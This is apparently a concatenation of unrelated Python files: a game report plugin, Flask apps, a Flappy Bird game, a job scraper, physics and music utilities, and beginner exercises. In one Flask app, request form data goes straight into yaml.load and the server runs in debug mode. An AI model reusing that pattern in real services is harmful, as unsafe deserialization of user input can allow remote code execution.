                        Reporter.MessageFrom("Report", red + "Usage: /report delete id")
                        return
                    id = args[1]
                    if not id.isdigit():
                        Reporter.MessageFrom("Report", red + "ID must be a number.")
                        return
                    ini.DeleteSetting("Reports", id)
                    Reporter.MessageFrom("Report", red + "Case:" + id + " deleted.")
                    ini.Save()
                elif args[0] == "deleteall":
                    if not Reporter.Admin and not self.isMod(Reporter.SteamID):
                        return
                    for key in enum:
                        ini.DeleteSetting("Reports", key)
                    Reporter.MessageFrom("Report", red + "All cases deleted.")
                    ini.Save()
                else:
                    if len(args) <= 1:
                        Reporter.MessageFrom('Report', 'Usage: /report "PlayerName" "message"')
                        Reporter.MessageFrom('Report', 'Quote signs (") are required.')
                        return
                    array = self.GetQuoted(args, Reporter)
                    if not array:
                        return
                    Reported = self.CheckV(Reporter, array[0])
                    if Reported is None:
                        return
                    self.HandleReport(Reporter, Reported, array[1])

    def HandleReport(self, Reporter, Reported, Message):
        if len(Message) > 47:
            Reporter.MessageFrom("Report", red + "Too long reason. Write It shorter.")
            return
        #Keresett Jatekos
        for player in Server.Players:
            if player.Admin or self.isMod(player.SteamID):
                player.MessageFrom("Report", red + "New report submitted!")
                player.MessageFrom("Report", red + "Check it with the /report view command.")
        Plugin.Log("ReportLogs", "Reporter: " + Reporter.Name + " | " + Reporter.SteamID + " | Reported: " + Reported.Name +
            " | " + Reported.SteamID + " |  Reason: " + Message)
        self.SaveReportToIni(Reporter, Reported.Name, Message)
        Reporter.MessageFrom("Report", red + "Report submitted.")


from flask import Flask, escape, request, jsonify

from google.cloud import language
from google.cloud.language import enums
from google.cloud.language import types

from subprocess import call

import json

app = Flask(__name__)

@app.route('/')
def hello():
    return "here"

@app.route('/create', methods=['GET'])
def load_form():  # get info form
    name = str(request.args.get('name'))  # find the params
    twitter_handle = str(request.args.get('twitter_handle'))  # find the params

    t = open("handle.txt", "w+")
    t.write(twitter_handle)
    t.close()

    f = open("name.txt", "w+")
    f.write(name)
    f.close()

    call(["python", "mongo_read.py"])
    call(["python", "nlp_test.py"])

    analysis = open("keys.txt", "r")
    local_dict = analysis.read()
    analysis.close()

    analysis2 = open("keys2.txt", "r")
    local_dict2 = analysis2.read()
    analysis2.close()

    local_dict = json.loads(local_dict)
    local_dict2 = json.loads(local_dict2)

    keys_List = []
    keys_List.append(local_dict)
    keys_List.append(local_dict2)

    return json.dumps(keys_List)

@app.route("/analyze-text")
def analyze_text():
    client = language.LanguageServiceClient()
    text = request.args.get("text")
    text = text.replace('"', "")
    document = types.Document(
        content=text,
        type=enums.Document.Type.PLAIN_TEXT)
    sentiment = client.analyze_sentiment(document=document).document_sentiment
    score = sentiment.score
    magnitude = sentiment.magnitude

    json_return = {
        'score': score,
        'magnitude': magnitude
    }

    return jsonify(json_return)


import pygame as pyg
import neat
import sys
import math
import os
import random

def init():
    global SCREEN_HEIGHT, SCREEN_WIDTH, SCREEN, FONT, Bird, Pipe
    pyg.init()
    SCREEN_HEIGHT = 600
    SCREEN_WIDTH = 800
    SCREEN = pyg.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
    pyg.display.set_caption('FlappyBird')

    FONT = pyg.font.Font('freesansbold.ttf', 20)

    class Bird:
        X_POS = 80
        Y_POS = 310

        def __init__(self):
            self.x = self.X_POS+25/2
            self.y = self.Y_POS+25/2
            self.gravity = 0.03*3*2*5
            self.velocity = 0
            self.lift = -2
            self.rect = pyg.Rect(self.X_POS, self.Y_POS, 25, 25)

        def update(self):
            self.velocity += self.gravity
            self.y += self.velocity
            if self.y >= 600-25/2:
                self.y = 600-25/2
                self.velocity = 0
            if self.y <= 0:
                self.y = 0
                self.velocity = 0
            self.rect = pyg.Rect(self.x-25/2, self.y-25/2, 25, 25)
            # pyg.draw.rect(SCREEN, (255, 0, 0), self.rect, 2)

        def draw(self):
            pyg.draw.circle(SCREEN, (0, 0, 0), (self.x, self.y), 25/2)

        def jump(self):
            self.velocity += self.lift

    class Pipe:
        def __init__(self):
            self.height = SCREEN_HEIGHT
            self.width = SCREEN_WIDTH
            self.x = self.width
            self.top = random.random() * (self.height/2)
            self.bottom = self.top+200
            self.rect1 = pyg.Rect(self.x, 0, 50, self.top)
            self.rect2 = pyg.Rect(self.x, self.bottom, 50, self.height - self.bottom)

        def show(self):
            pyg.draw.rect(SCREEN, (0, 0, 0), self.rect1)
            pyg.draw.rect(SCREEN, (0, 0, 0), self.rect2)

        def update(self):
            self.x -= gameSpeed
            self.rect1 = pyg.Rect(self.x, 0, 50, self.top)
            self.rect2 = pyg.Rect(self.x, self.bottom, 50,  self.height - self.bottom)
            if self.rect1.x < -self.rect1.width:
                pipes.pop()

def remove(index):
    birds.pop(index)

def distance(pos_a, pos_b):
    dx = pos_a[0]-pos_b[0]
    dy = pos_a[1]-pos_b[1]
    return math.sqrt(dx**2+dy**2)

highScore = 0

def evalGenomes():
    global birds, pipes, gameSpeed, points, highScore
    init()
    clock = pyg.time.Clock()
    points = 0
    birds = [Bird()]
    pipes = []
    gameSpeed = 5

    def score():
        global points, gameSpeed
        points += 1
        if points % 250 == 0:
            gameSpeed += 1
        text = FONT.render(f'Points:  {str(points)}', True, (0, 0, 0))
        SCREEN.blit(text, (650, 50))
        text = FONT.render(f'HighScore:  {str(highScore)}', True, (0, 0, 0))
        SCREEN.blit(text, (450, 50))

    def statistics():
        global birds, gameSpeed
        text_3 = FONT.render(f'Game Speed:  {str(gameSpeed)}', True, (0, 0, 0))

        SCREEN.blit(text_3, (50, 510))

    global run
    run = True
    while run:
        for event in pyg.event.get():
            if event.type == pyg.QUIT:
                run = False

        SCREEN.fill((255, 255, 255))

        for bird in birds:
            bird.update()
            bird.draw()

        if len(birds) == 0:
            break

        if len(pipes) == 0:
            pipes.append(Pipe())

        for pipe in pipes:
            pipe.show()
            pipe.update()
            for i, bird in enumerate(birds):
                if bird.rect.colliderect(pipe.rect1) or bird.rect.colliderect(pipe.rect2):
                    remove(i)

        for i, bird in enumerate(birds):
            keys = pyg.key.get_pressed()
            if keys[pyg.K_SPACE]:
                bird.jump()

        statistics()
        score()
        highScore = max(highScore, points)

        clock.tick(30)
        pyg.display.update()

if __name__ == '__main__':
    evalGenomes()


from collections import OrderedDict
import logging, itertools

import numpy as np

# from enthought.tvtk.api import tvtk

class Electrodes(OrderedDict):
    """
    A set of named electrodes, each consisting of multiple faces
    (planar), each face consisting of multiple signed loops:
    {name: [[(sign, coordinates), ...more loops], ...more faces]}
    Faces are counterclockwise, negative loops are holes.
    """
    @classmethod
    def from_trap(cls, trap, scale=1.):
        """load ed electrodes in 'trap' format (inventor export)"""
        electrodes = cls()
        state = None
        for line in trap:
            line = line.rstrip()
            if not line.strip() or line.startswith("#"):
                pass
            elif line.startswith("WP"):
                pass # ignored
            elif line.startswith("S,"):
                state = "face"
                name = line.split(", ")[1]
                if name.startswith("TRAPELECTRODE_"):
                    name = name[len("TRAPELECTRODE_"):]
                if not name in electrodes:
                    electrodes[name] = []
            elif line.startswith("OUTERLOOP"):
                state = "loop"
                coords = []
                face.append((1, coords))
            elif line.startswith("INNERLOOP"):
                state = "loop"
                coords = []
                face.append((-1, coords))
            elif line.startswith("ENDOFFACE"):
                state = "face"
            else:
                #elif line.startswith(" ") or line.startswith("-") or \
                #    line.startswith("0."):
                try:
                    vector = map(float, line.split())
                    if len(vector) != 3:
                        raise ValueError("wrong length")
                except ValueError as e:
                    logging.warn("failed to parse line in trap %s: %s",
                            trap, line)
                if state == "face":
                    face = []
                    #face.normal = vector
                    electrodes[name].append(face)
                else:
                    if coords and np.allclose(coords[-1], vector):
                        logging.warn("two subsequent points are close %s, %s",
                                coords[-1], vector)
                    else:
                        coords.append(vector)

        # cleanup
        for name, faces in electrodes.iteritems():
            for face in faces[:]:
                for loop in face[:]:
                    face.remove(loop)
                    sign, coords = loop
                    coords = np.array(coords)/scale
                    if coords.shape[0] < 3:
                        logging.warn("not a loop: %s %s, removing", coords, name)
                    else:
                        face.append((sign, coords))
                if not face:
                    logging.warn("empty face: %s %s, removing", face, name)
                    faces.remove(face)

        return electrodes

    @classmethod
    def from_polygons(cls, poly):
        """load loops from 2d polygons (shapely package)"""
        obj = cls()
        for name, mp in poly:
            try:
                mp = list(mp)
            except TypeError:
                mp = [mp]
            face = []
            for pi in mp:
                ext = pi.exterior
                if not ext.is_ccw:
                    ext.coords = list(ext.coords[::-1])
                co = np.array(ext.coords[:-1])
                loop = np.zeros((co.shape[0], 3))
                loop[:, :2] = co
                face.append((1, loop))
                for ii in pi.interiors:
                    if not ii.is_ccw:
                        ii.coords = list(ii.coords[::-1])
                    co = np.array(ii.coords[:-1])
                    loop = np.zeros((co.shape[0], 3))
                    loop[:, :2] = co
                    face.append((-1, loop))
            obj[name] = [face]
        return obj

    @classmethod
    def from_system(cls, sys):
        """load loops from a planar 2d gapless electrode system
        (electrode package)"""
        # FIXME: should add ground plane where there are not electrodes
        obj = cls()
        for ele in sys:
            face = []
            for sign, coords in zip(ele.orientations(), ele.paths):
                loop = np.zeros((coords.shape[0], 3))
                loop[:, :2] = coords
                face.append((sign, loop))
            obj[ele.name] = [face]
        return obj

    def to_vtk(self, filename):
        raise NotImplemented

    def cleanup(self, tol=1e-9):
        """remove close adjacent points"""
        for name, faces in self.iteritems():
            for face in faces:
                for i, loop in enumerate(face[:]):
                    sign, coords = loop
                    coords_next = np.roll(coords, 1, axis=0)
                    l = np.square(coords-coords_next).sum(axis=1)
                    coords = coords[l > tol**2]
                    face[i] = (sign, coords)

    def extrude(self, thickness, names=None):
        """
        extrude the (xy planar) electrode surfaces by thickness into
        into the -z direction. adds one face per pair of loop points.
        """
        if names is None:
            names = self.keys()
        dz = np.array([0., 0, thickness])
        for name in names:
            for sign, coords in itertools.chain(*self[name]):
                for ai, bi in zip(coords, np.roll(coords, 1, axis=0)):
                    coords = np.array([ai, bi, bi+dz, ai+dz])
                    if sign < 0:
                        coords = coords[::-1]
                    self[name].append([(1, coords)])

if __name__ == "__main__":
    import sys
    ele = Electrodes.from_trap(open(sys.argv[1]))
    #print ele


from midiutil import MIDIFile
from modules.model.SBSong import SBSong
from modules.model.SBCommonTypes import SBChordHarmonic

# from mingus.core.progressions import to_chords, determine
# import mingus.core.notes as notes

class SBCtrlSongToMIDI:
    def __init__(self, song, midi_filename):
        self.song = song
        self.midi_filename = midi_filename
        track = 0
        time = 0  # In beats
        tempo = self.song.getTempo()  # In BPM

        self.midi_file = MIDIFile(1)
        self.midi_file.addTempo(track, time, tempo)
        # simple piano chord structure interval
        self.chord_major_int = [0,4,7]
        self.chord_minor_int = [0,3,7]
        self.chord_dim_int = [0,3,6]
        self.chord_aug_int =[0,4,8]
        self.midi_notes = {"C": 60, "Db": 61, "D": 62, "Eb": 63, "E": 64, "F": 65, "Gb": 66, "G": 67, "Ab": 68, "A": 69, "Bb": 70, "B": 71}

    def process(self):
        track = 0
        channel = 0
        time = 0  # In beats
        duration = self.song.getBeatsPerBar()  # In beats
        volume = 100  # 0-127, as per the MIDI standard

        for sp in self.song.getParts():
            for r in range(sp.getNrRepeats()):
                for c in sp.getChords():
                    print("writing note: " + c.getNoteStr())
                    #self.midi_file.addNote(track,channel, self.midi_notes[c.getNoteStr()], time, duration, volume)
                    for b in range(c.getLengthInBars()):
                        if (c.getHarmonic() == SBChordHarmonic.MAJOR):
                            for n in self.chord_major_int:
                                note = self.midi_notes[c.getNoteStr()] + n + c.getPitch()*12
                                self.midi_file.addNote(track, channel, note, time, duration, volume)
                        elif (c.getHarmonic() == SBChordHarmonic.MINOR):
                            for n in self.chord_minor_int:
                                note = self.midi_notes[c.getNoteStr()] + n + c.getPitch()*12
                                self.midi_file.addNote(track, channel, note, time, duration, volume)
                        elif (c.getHarmonic() == SBChordHarmonic.DIMINISHED):
                            for n in self.chord_dim_int:
                                note = self.midi_notes[c.getNoteStr()] + n + c.getPitch()*12
                                self.midi_file.addNote(track, channel, note, time, duration, volume)
                        elif (c.getHarmonic() == SBChordHarmonic.AUGMENTED):
                            for n in self.chord_aug_int:
                                note = self.midi_notes[c.getNoteStr()] + n + c.getPitch()*12
                                self.midi_file.addNote(track, channel, note, time, duration, volume)

                        time = time + self.song.getBeatsPerBar()

    def writeMIDIFile(self):
        self.process()
        with open(self.midi_filename, "wb") as output_file:
            self.midi_file.writeFile(output_file)


# DFS algorithm
def dfs(graph, start, visited=None):
   if visited is None:
       visited = set()
   visited.add(start)

   print(start)

   for next in graph[start] - visited:
       dfs(graph, next, visited)
   return visited

graph = {'0': set(['1', '2']),
        '1': set(['0', '3', '4']),
        '2': set(['0']),
        '3': set(['1']),
        '4': set(['2', '3'])}

dfs(graph, '0')
# https://velog.io/@_3juhwan/Python%EC%9C%BC%EB%A1%9C-DFS-BFS-%EA%B5%AC%ED%98%84


# Time Complexity - O(nlogn)
# Space Complexity - O(n)

class Solution:
    def sortByBits(self, arr: List[int]) -> List[int]:
        n=len(arr)
        count=[]
        for i in arr:
            c=bin(i)[2:].count('1')
            count.append([c,i])
        count.sort()
        #print (count)
        n=[]
        for i in count:
            n.append(i[1])
        return n

parnamondal/Week - 2/Day - 1/Sort Integers by The Number of 1 Bits.py


#py_files_5.py
import pickle as pickle
from junk import JUNK

pickle_file="dill"
#make a couple objects
obj = [ [1, 2, 3],
        [4, 5, 5],
        [7, 8, 9]
        ]
obj1="howdy doody"
obj2=set([33,43,53])

#another (better) way:
to_pickle={'obj' : obj,
           'obj1': obj1,
           'obj2': obj2,
           'junk': JUNK
           }
with open(pickle_file, 'wb') as f:
    pickle.dump(to_pickle,f)

to_pickle=None

with open(pickle_file, 'rb') as f:
    to_pickle=pickle.load(f)

for k, v in to_pickle.items():
    print(k,v)


from socket import *

cliente = socket(AF_INET,SOCK_STREAM)
cliente.connect(("127.0.0.1",1337))

while True:
    # Cliente recebe os dados do  Servidor
    dados = cliente.recv(2048).decode()
    print(f"Servidor: {dados}")
       # Cliente envia os dados para o servidor
    dados = input("[+] Cliente: ")
    cliente.sendall(dados.encode())

    # caso o cliente decida encerrar o chat
    if dados == "sair":
        cliente.close()
        break


import requests
from WebScraper import ScrapeHelper
from bs4 import BeautifulSoup
from Classes.JobPostModule import JobPost

def get_job_list(search_term, search_page, search_city='', search_state=''):
    url = get_url(search_term, search_page, search_city, search_state)
    return get_job_posts(url, search_term)

def get_url(search_term, search_page_number=0, search_city='', search_state=''):
    """Returns URL that queries Indeed for the given search term at the given location.
    search_page_number counts from 0! """

    base_url = 'https://www.indeed.com/jobs?q='

    search_term = search_term.replace(' ', '+')

    search_city = search_city.replace(' ', '+')

    if len(search_state) > 0:
        search_state = '%2C+' + search_state

    if search_page_number > 0:
        return base_url + search_term + '&l=' + search_city + search_state + '&start=' + str(search_page_number * 10)
    else:
        return base_url + search_term + '&l=' + search_city + search_state

def get_job_posts(target_url, search_term):
    """Given a url, returns a list of objects of instance JobPost"""

    # custom parameters
    unknown_string = 'UNKNOWN'
    unwanted_company_string = 'Seen by Indeed'

    # variables
    url_list = []
    seen_by_indeed_count = 0

    page = requests.get(target_url)

    # Create a BeautifulSoup object
    big_soup = BeautifulSoup(page.text, 'html.parser')

    # Let's clean this up
    for script in big_soup(["script", "style"]):  # remove all javascript and stylesheet code
        script.decompose()

    for div in big_soup.find_all("div", {'class': 'jobsearch-SerpJobCard-footer'}):
        div.decompose()

    for table in big_soup.find_all("table", {'class': 'jobCardShelfContainer'}):
        table.decompose()

    for div2 in big_soup.find_all("div", {'class': 'tab-container'}):
        div2.decompose()

    parent_search_section = big_soup.find_all('div', class_='jobsearch-SerpJobCard unifiedRow row result')

    if parent_search_section is None:
        ScrapeHelper.print_error_string(big_soup.prettify())
    else:
        for x02 in parent_search_section:
            # print(x02.prettify())
            try:
                x1 = x02.find('span', class_='company')
                if not x1 is None:
                    company = x1.text.strip('\n')
                else:
                    company = unknown_string

                if not company == unwanted_company_string:
                    x0 = x02.find('a', class_='jobtitle turnstileLink')
                    links = 'https://www.indeed.com' + x0.get('href')
                    names = x0.get_text().strip('\n')

                    x4 = x02.find('div', class_='recJobLoc')
                    if not x4 is None:
                        location = x4.get('data-rc-loc')
                    else:
                        location = unknown_string

                    url_list.append(
                        JobPost(job_title=names, url=links, company=company, location=location, search_term=search_term,
                                source=ScrapeHelper.INDEED))
                    # print(names + ' -- ' + location + ' -- ' + company + ' -- ' + links)
                else:
                    seen_by_indeed_count += 1
            except:
                ScrapeHelper.print_error_string(x02.prettify())

    # print('Seen By Indeed: ' + str(seen_by_indeed_count))
    return url_list

def get_document(y: JobPost):
    try:
        complete_job_profile(y)
        new_jd = {
            "JobTitle": y.job_title,
            "CompanyID": 0,
            "company": y.company,
            "location": y.location,
            "rating": y.company_rating,
            "salary": y.salary,
            "commitment": y.commitment_level,
            "url": y.url,
            "search_terms": y.search_terms,
            "source": y.source,
            "description": y.description,
            "dates_found": y.dates_found,
            "post_date": y.post_date
        }
        return new_jd
    except Exception as e:
        ScrapeHelper.print_error_string('Complete Job Post Error ' + y.source + ' ' + y.url + ' : ' + str(e))
        return None

def complete_job_profile(job_post: JobPost):
    page = requests.get(job_post.url)

    # Create a BeautifulSoup object
    big_soup = BeautifulSoup(page.text, 'html.parser')

    # Let's clean this mess up
    for script in big_soup(["script", "style"]):  # remove all javascript and stylesheet code
        script.decompose()

    # Ok ok I think we're ready...
    primary_description = big_soup.find("div", class_='jobsearch-jobDescriptionText')
    if not primary_description is None:
        job_post.description = primary_description.get_text().replace('\n', ' ')

    rating_section = big_soup.find("meta", itemprop='ratingValue')
    if not rating_section is None:
        job_post.company_rating = rating_section.get('content')

    salary_section = big_soup.find("span", class_='icl-u-xs-mr--xs')
    if not salary_section is None:
        job_post.salary = salary_section.text

    time_section = big_soup.find("span", class_='jobsearch-JobMetadataHeader-item icl-u-xs-mt--xs')
    if not time_section is None:
        job_post.commitment_level = time_section.text

    return


import sys
sys.stdin = open("level_input.txt")

T = int(input())

for tc in range(1, T+1):
    arr = list(map(str, input().split()))

    for i in arr:
        wl = list(i)
        num = len(wl)
        for n in range(num//2):
            wl[n], wl[num-1-n] = wl[num-1-n], wl[n]
        if i != (''.join(wl)):
            print(f"#{tc}", '0')
        else:
            print(f"#{tc}", '1')

        ans = 1
        for n in range(num//2):
            if wl[n] != wl[num-1-n]:
                ans = 0
                break

        print(f"#{tc}", ans)


import os
from pprint import pprint
import arrow
import yaml
from flask import Flask, request, jsonify
from SELAN_PLOTS.CLIENT_APPS.multi_well_swabbing.html_build_multi_well_swabbing import multi_well_swabbing_html
from SELAN_PLOTS.CLIENT_APPS.sandbox.templates.webix_html_builder import webix_builder
from SELAN_PLOTS.CLIENT_APPS.single_well_multi_plots.html_build_single_well_multi_plots import \
    single_well_multi_plot_html

app = Flask(__name__)

from SELAN_PLOTS.make_plots import swabbing_data_plots

swabbing_data_pack = swabbing_data_plots()

@app.route('/')
def hello_world():
    return "HELLO THIS IS JUST A CHECK"

@app.route('/webix_try')
def webix_try():
    my_tag = webix_builder()
    return my_tag.get_html()

@app.route('/_get_min_max_range', methods=['POST'])
def get_min_max():
    try:
        print ('******************* REQUEST RECEIVED')
        property = request.form.get('prop_name')
        well_name = request.form.get('well_name')
        result = swabbing_data_pack.get_min_max(well_name, property)
        print (result)
        return jsonify(result)
    except Exception as e:
        print("_get_min_maxERROR", e)

@app.route('/_get_filtered_plot', methods=['POST'])
def get_filtered_plot():
    try:
        well_name = request.form.get('well_name')
        plot_name = request.form.get('plot_name')
        property = request.form.get('prop_name')
        dtype = request.form.get('dtype')
        if 'date' in dtype:
            min = arrow.get(request.form.get('min')).datetime
            max = arrow.get(request.form.get('max')).datetime
            print("ARROW ", min, max)
            print("string date", request.form.get('min'), request.form.get('max'))
        else:
            min = request.form.get('min')
            max = request.form.get('max')

        filters = []
        filters.append(dict(property=property, min=min, max=max))

        plot_data = swabbing_data_pack.make_plots(well_name, plot_name, filters, 'json')

        return plot_data
    except Exception as e:
        print("_get_filtered_plot  ERROR", e)

@app.route('/_get_well_data', methods=['POST'])
def get_well_data():
    try:
        well_name = request.form.get('well_name')
        prop_name = request.form.get('prop_name')
        print('getting data for ', well_name, prop_name)
        data_series = swabbing_data_pack.get_prop(well_name, prop_name)

        print(data_series.dtype)

        return jsonify(dict(series=data_series.tolist(), data_type=str(data_series.dtype)))

    except Exception as e:
        print("GET DATA ERROR  ", e)
        raise e

@app.route('/swabbing/<well_name>')
def swabbing_well_plot(well_name):
    print("IN FLASK APP", 'SWABBING', well_name)
    return swabbing_data_pack.make_plots(well_name, 'SWABBING', 'div')

@app.route('/production/<well_name>')
def production_well_plot(well_name):
    print("IN FLASK APP", 'PRODUCTION', well_name)
    return swabbing_data_pack.make_plots(well_name, 'PRODUCTION', 'div')

@app.route('/well_plots')
def well_plots():
    my_tag = single_well_multi_plot_html()
    return my_tag.get_html()

@app.route('/_get_well_plots', methods=['POST'])
def get_well_plots():
    meta_list = request.form.getlist('send_request')
    plot_list = []
    for item in meta_list:
        plot_list.append(yaml.load(item))
    print(plot_list[0], plot_list[1])
    return jsonify(get_plots(plot_list))

@app.route('/_get_well_plot', methods=['POST'])
def get_well_plot():
    well_name = request.form.get('well_name')
    plot_name = request.form.get('plot_name')
    tab_id = request.form.get('tab_id')

    print(well_name, plot_name, tab_id)

    return jsonify({'tab_content': make_plots(well_name, plot_name),
                    'well_name': well_name,
                    'plot_name': plot_name,
                    'tab_id': tab_id
                    })

@app.route('/multi_well_swabbing')
def multi_well_swabbing():
    my_tag = multi_well_swabbing_html()
    return my_tag.get_html()

@app.route('/_get_well_list', methods=['POST'])
def get_well_list():
    try:
        print("HELLO THIS IS A REQUEST FOR WELL LIST FROM FILE")
        well_list = get_well_list_from_file()
        return jsonify(result=well_list)

    except Exception as e:
        return (e)

if __name__ == '__main__':
    package_path = os.getcwd()
    package_MISC = os.path.join(package_path, 'MISC')
    pprint(package_path)
    app.run(debug=True)


'''Crie um programa que leia o nome e o preço de vários produtos. O programa deverá perguntar se o usuário vai continuar. No final, mostre:
A - Qual é o total gasto na compra.
B - Quantos produtos custam mais de R$ 1000
C - Qual é o nome do produto mais barato'''

print('=' * 30)
print('LOJAS SUPER BARATÃO'.center(30))
print('=' * 30)
totpreço = tot1000 = menorpreço = cont = 0
while True:
     #leitura de dados e inicializaçã de variáveis
     produto = str(input('Nome do produto: ')).strip()
     preço = float(input('Preço: R$ '))

     #tratamento de dados do programa
     cont += 1
     totpreço += preço
     if preço > 1000:
        tot1000 += 1
     if cont == 1 or preço < menorpreço:
          menorpreço = preço
          barato = produto

     #confirmação de continução ou finalização do programa
     resp = ' '
     while resp not in 'SN':
          resp = str(input('Quer continuar? [S/N] ')).strip().upper()[0]
     if resp in 'Nn':
        break
print('-' * 15, 'FIM DO PROGRAMA', '-' * 15)
print(f'O total de compra foi de R${totpreço:.2f}')
print(f'Temos {tot1000} produtos custando mais de R$1000.00')
print(f'O produto mais barato foi {barato} que custa R${menorpreço:.2f}')


import numpy as np
import matplotlib.pyplot as plt
import os

class Data:

    " Class to deal with the outputs of the Dedalus scripts, exclusivley in 1D "

    def __init__(self, data) -> 'Init':
        self.data = data

    def return_absolute(self,array) -> 'List':

        " Returns the absolute value of the list. "

        temporary_array = []

        for lines in array:
            temporary_array.append(abs(lines))

        return temporary_array

    def plot_in_a_plot(self,data_1,data_2,data_3, file_path, labels = {}, no_of_terms: int = 4):

        " Plots a series of lines and then a sub plot zoomed in. "
        if no_of_terms == 4:
            plt.rcParams['font.family'] = 'Serif'
            plt.rcParams['font.size'] = 18
            plt.rcParams['axes.linewidth'] = 2
            fig = plt.figure(figsize = (12,6))
            #plt.ylim(-0.015,0.015)
            plt.xlabel('Time', fontsize = 24)
            plt.ylabel('Average Magnitude', fontsize = 24)
            time = np.linspace(0,200,len(self.data))
            plt.plot(time, self.data, label = labels["data"])
            plt.plot(time, data_1, label = labels["data_1"])
            plt.plot(time, data_2, label = labels["data_2"])
            plt.plot(time, data_3, label = labels["data_3"])
            plt.plot(time,np.zeros(len(time)),'k--')
            plt.legend(fontsize = 28)
            a = plt.axes([.37, .55, .2, .2])
            plt.xticks([])
            #plt.yticks([])
            a.plot(time[-20:],self.data[-20:])
            a.plot(time[-20:],data_1[-20:])
            a.plot(time[-20:],data_2[-20:])
            a.plot(time[-20:],data_3[-20:])
            a.plot(time[-20:],np.zeros(20),'k--')
            plt.savefig(file_path)

        elif no_of_terms == 3:
            plt.rcParams['font.family'] = 'Serif'
            plt.rcParams['font.size'] = 18
            plt.rcParams['axes.linewidth'] = 2
            fig = plt.figure(figsize = (12,6))
            plt.xlabel('Time', fontsize = 24)
            plt.ylabel('Average Magnitude', fontsize = 24)
            #plt.ylim(-0.015,0.015)
            time = np.linspace(0,200,len(self.data))
            plt.plot(time, self.data, label = labels["data"])
            plt.plot(time, data_1, label = labels["data_1"])
            plt.plot(time, data_3, label = labels["data_3"])
            plt.plot(time,np.zeros(len(time)),'k--')
            plt.legend(fontsize = 28)
            plt.plot([time[-20],146],[self.data[-20],-7.1e-3],'k--')
            plt.plot([time[-1],202],[self.data[-1],-7.1e-3],'k--')
            a = plt.axes([.67, .15, .2, .2])
            plt.xticks([])
            #plt.yticks([])
            a.plot(time[-20:],self.data[-20:])
            a.plot(time[-20:],data_1[-20:])
            a.plot(time[-20:],data_2[-20:])
            a.plot(time[-20:],data_3[-20:])
            a.plot(time[-20:],np.zeros(20),'k--')
            plt.savefig(file_path)

    def plot_forces(self,data_1,data_2,data_3, file_path, labels = {}, no_of_terms: int = 4):

        plt.rcParams['font.family'] = 'Serif'
        plt.rcParams['font.size'] = 18
        plt.rcParams['axes.linewidth'] = 2
        fig = plt.figure(figsize = (14,14))
        plt.xlabel('Time', fontsize = 24)
        plt.ylabel('Average Magnitude', fontsize = 24)

        " Plots a series of lines and then a sub plot zoomed in. "
        if no_of_terms == 4:

            #plt.ylim(-0.015,0.015)
            time = np.linspace(0,200,len(self.data))
            plt.plot(time, self.data, label = labels["data"])
            plt.plot(time, data_1, label = labels["data_1"])
            plt.plot(time, data_2, label = labels["data_2"])
            plt.plot(time, data_3, label = labels["data_3"])
            plt.legend(fontsize = 20)
            plt.savefig(file_path)

        elif no_of_terms == 3:
            time = np.linspace(0,200,len(self.data))
            plt.plot(time, self.data, label = labels["data"])
            plt.plot(time, data_1, label = labels["data_1"])
            plt.plot(time, data_3, label = labels["data_3"])
            plt.legend(fontsize = 20)
            plt.savefig(file_path)

    def  return_data(self) -> '1D data':
        return self.data

    def plot_data(self) -> 'Matplotlib plot':

        ' Makes a matplotlib plot of the data'

        plt.rcParams['font.family'] = 'Serif'
        plt.rcParams['font.size'] = 18
        plt.rcParams['axes.linewidth'] = 2
        plt.plot(self.data, 'k--')
        plt.show()

    def run_fucntion(func):

        ' Runs the function with the added print arguments, practicing using decorators '
        def wrapper(*args, **kwargs):
            print('Running function {fucntion}.'.format(fucntion = func))
            func(*args, **kwargs)
            print('Functions has been ran.')
        return wrapper

    @run_fucntion
    def print_data(self):

        ' Prints the data to the console '
        print(self.data)

    def plot_time_series(self):

        ' Plots the time series of 1D data'

        if len(np.shape(self.data)) > 1:

            for lines in self.data:
                plt.figure(1)
                plt.cla() # these two lines clear the previous graph, so don't plot over top.
                plt.clf()
                plt.plot(lines, 'k--', label = self.name)
                plt.show()

        else:
            raise CustomError('Data is of the wrong format, should be a 2d array. The data given here is of the shape {shape}.'.format(shape = np.shape(self.data)))

    def compare_time_series(self, second_data, second_name):

        ' Plots a time series of the class data and a second data set. '

        if len(np.shape(self.data)) > 1:

            for i in range(len(self.data)):
                plt.plot(self.data[i], 'r--', label = self.name)
                plt.plot(second_data[i], 'b', label = second_name)
                plt.legend()
                plt.show()

        else:
            raise CustomError('Data is of the wrong format, should be a 2d array. The data given here is of the shape {shape}.'.format(shape = np.shape(self.data)))

    def save_to_txt(self, file_path: str) -> 'Numpy array':

        " Saves the data to a text file "

        with open(file_path,'a') as file:
            file.truncate(0) ## clears the file contents if there is any ##
            for lines in self.data:
                file.write(str(lines)+'\n')
            file.close()
        print('The file is saved in directory {directory}'.format(directory = file_path))
        return file_path

    def convert_to_np(self, file_path: str) -> 'Text file':

        " Convert txt data to numpy array to be plotted e.c.t "

        array = [] # temporary array to save too

        file = open(file_path,'r').read().split('\n')
        for lines in file:
            try:
                array.append(float(lines))
            except:
                print('Tried to append {data} to the array. '.format(data = lines))
        return array

    def compute_derivative(self,dx = 1):

        derivative = np.zeros(len(self.data))
        for i in range(1,len(self.data)):
                derivative[i] = (self.data[i] - self.data[i-1])/dx

        return derivative

class CustomError(Exception):

    ' Class which allows for custome exceptions '

    pass


#!/usr/bin/env python
# coding: utf-8

# En primer lugar, cargué el archivo "movies.json":

# In[18]:

import json
with open('movies.json',encoding='utf8') as movies_file:
    movies = json.load(movies_file)

# Misión 1: "Modelación de entidades".
# Se definen las clases "Pelicula", "Actor" y "Genero":

# In[30]:

class Pelicula:

    def __init__(self,titulo,ano,reparto,genero):
        self.titulo = titulo
        self.ano = ano
        self.reparto = reparto
        self.genero = genero

class Actor:

    def __init__(self,elenco,ano_aparicion):
        self.elenco = elenco
        self.ano_aparicion = ano_aparicion
        self.lista_actuaciones = []
        self.par_actor_ano = ()

    def add_tupla(self):
        self.lista_actuaciones.append(self.par_actor_ano)

class Genero:

    def __init__(self,lista_generos):
        self.lista_generos = []

    def lista_de_generos(self):
        for gen in Pelicula.genero:
            self.lista_generos.append(gen)

# Misión 2: "Carga de datos". Se extraen los datos y se cargan en los objetos correspondientes:

# In[46]:

peliculas = []
for movie in movies:
    a = Pelicula(movie["title"],movie["year"],movie["cast"],movie["genres"])
    peliculas.append(a)

actores = []
for movie in movies:
    b = Actor(movie["cast"],movie["year"])
    actores.append(b)

generos = []
for movie in movies:
    c = Genero(movie["genres"])
